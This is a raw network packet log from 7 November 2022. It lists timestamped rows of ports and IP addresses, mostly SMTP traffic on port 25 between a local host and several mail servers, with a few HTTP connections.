Nov 7, 2022 22:24:29.304896116 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.304896116 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.304907084 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304922104 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.304959059 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.304960012 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.305001974 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.305005074 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.305018902 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.305035114 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.305046082 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.305073023 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.305073023 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.305109024 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.305128098 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.305145979 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.305160999 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.305176973 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.305181980 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.305195093 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.305222034 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.305222034 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.305263996 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.469994068 CET	80	49748	64.70.19.203	192.168.2.5
Nov 7, 2022 22:24:29.470225096 CET	49748	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:29.470556974 CET	49748	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:29.644583941 CET	80	49748	64.70.19.203	192.168.2.5
Nov 7, 2022 22:24:29.644625902 CET	80	49748	64.70.19.203	192.168.2.5
Nov 7, 2022 22:24:29.644695044 CET	49748	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:29.671310902 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.671351910 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.671375036 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.671387911 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.671503067 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.671503067 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.671536922 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.671587944 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.671653986 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.671710968 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.671729088 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.671777010 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.671793938 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.671941042 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.671962023 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.671981096 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.671998024 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672003031 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672015905 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672018051 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672034979 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672038078 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672056913 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672061920 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672070980 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672075987 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672090054 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672105074 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672111034 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672121048 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672128916 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672147989 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672157049 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672166109 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672178984 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672195911 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672220945 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672226906 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672241926 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672264099 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672281981 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672295094 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672302008 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672312021 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672327995 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672346115 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672347069 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672365904 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672369957 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672383070 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672384977 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672404051 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672420979 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672442913 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672449112 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672506094 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672524929 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672545910 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672557116 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672565937 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672575951 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672585964 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672605038 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672612906 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672626019 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672631979 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672647953 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672652006 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672668934 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672677040 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672688961 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672703981 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672708035 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672722101 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672728062 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672739029 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672748089 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672759056 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672768116 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672784090 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672786951 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672796965 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672815084 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672832012 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672843933 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672863007 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672882080 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672885895 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672899961 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672903061 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672919989 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672924995 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672939062 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672957897 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672977924 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.672979116 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.672979116 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.673002005 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673015118 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:29.673023939 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673042059 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673060894 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673080921 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673098087 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673115969 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673135042 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673155069 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673176050 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673197985 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673218012 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673235893 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673254967 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673391104 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673410892 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673429012 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673446894 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673466921 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673485994 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673504114 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673522949 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673543930 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673562050 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673579931 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.673598051 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:29.678539991 CET	25	49735	142.250.157.26	192.168.2.5
Nov 7, 2022 22:24:29.825475931 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:30.038566113 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.038624048 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.038645983 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.038659096 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.038675070 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.038702965 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.038724899 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.038744926 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.038767099 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.039043903 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.039078951 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.039457083 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.039491892 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.039968967 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.040004969 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.040054083 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.040071964 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.040313005 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.040338993 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.040352106 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.040421009 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.040441990 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.040461063 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.040477991 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.040497065 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.040514946 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.040532112 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.040548086 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.040565014 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.040632010 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.040673018 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041198969 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041333914 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041351080 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041363001 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041374922 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041387081 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041399002 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041410923 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041424036 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041435957 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041449070 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041461945 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041475058 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041486025 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041497946 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041511059 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041522026 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041533947 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041546106 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041565895 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041579962 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041594028 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041606903 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041619062 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041630983 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041685104 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041696072 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041707993 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041718006 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041851044 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.041862965 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042682886 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042705059 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042718887 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042730093 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042741060 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042751074 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042761087 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042771101 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042782068 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042793036 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042804003 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042814970 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042843103 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042855024 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042865992 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042896986 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042911053 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042923927 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042944908 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042963982 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.042982101 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043000937 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043019056 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043035984 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043054104 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043070078 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043087959 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043103933 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043121099 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043138981 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043157101 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043174982 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043194056 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043212891 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043231010 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043248892 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043268919 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043287039 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043304920 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043323994 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043343067 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043363094 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043381929 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.043401957 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.114123106 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:30.157191992 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:30.157303095 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:30.203684092 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:30.203917027 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:30.243469954 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:30.344053030 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:30.424498081 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:30.475279093 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:30.504425049 CET	49735	25	192.168.2.5	142.250.157.26
Nov 7, 2022 22:24:30.504561901 CET	49748	80	192.168.2.5	64.70.19.203
Nov 7, 2022 22:24:30.556257010 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:30.559146881 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:30.609738111 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:30.805313110 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:30.807374001 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:30.827131033 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.827610970 CET	25	49732	74.125.200.27	192.168.2.5
Nov 7, 2022 22:24:30.827802896 CET	49732	25	192.168.2.5	74.125.200.27
Nov 7, 2022 22:24:30.836503029 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:30.836682081 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:30.863794088 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:30.864170074 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:30.899883986 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:30.900007010 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:30.956401110 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:30.959562063 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.021035910 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.021079063 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.021097898 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.021106958 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.021119118 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.021127939 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.021142006 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.021150112 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.021157980 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.021166086 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.022053957 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.022139072 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.081516981 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081557989 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081573963 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081588984 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081598043 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081613064 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081626892 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081641912 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081655025 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081672907 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081686020 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081698895 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081712008 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081723928 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081738949 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081747055 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081753969 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081762075 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081768990 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081779003 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.081804991 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.081971884 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.108107090 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.108289957 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.108510971 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.108705044 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.118654966 CET	49752	25	192.168.2.5	85.187.148.2
Nov 7, 2022 22:24:31.134545088 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.134577990 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.134687901 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.134757042 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.134949923 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.134990931 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.135019064 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.135149956 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.135252953 CET	49750	25	192.168.2.5	142.250.102.26
Nov 7, 2022 22:24:31.143680096 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.143727064 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.143753052 CET	25	49750	142.250.102.26	192.168.2.5
Nov 7, 2022 22:24:31.143781900 CET	25	49750	142.250.102.26	192.168.2.5
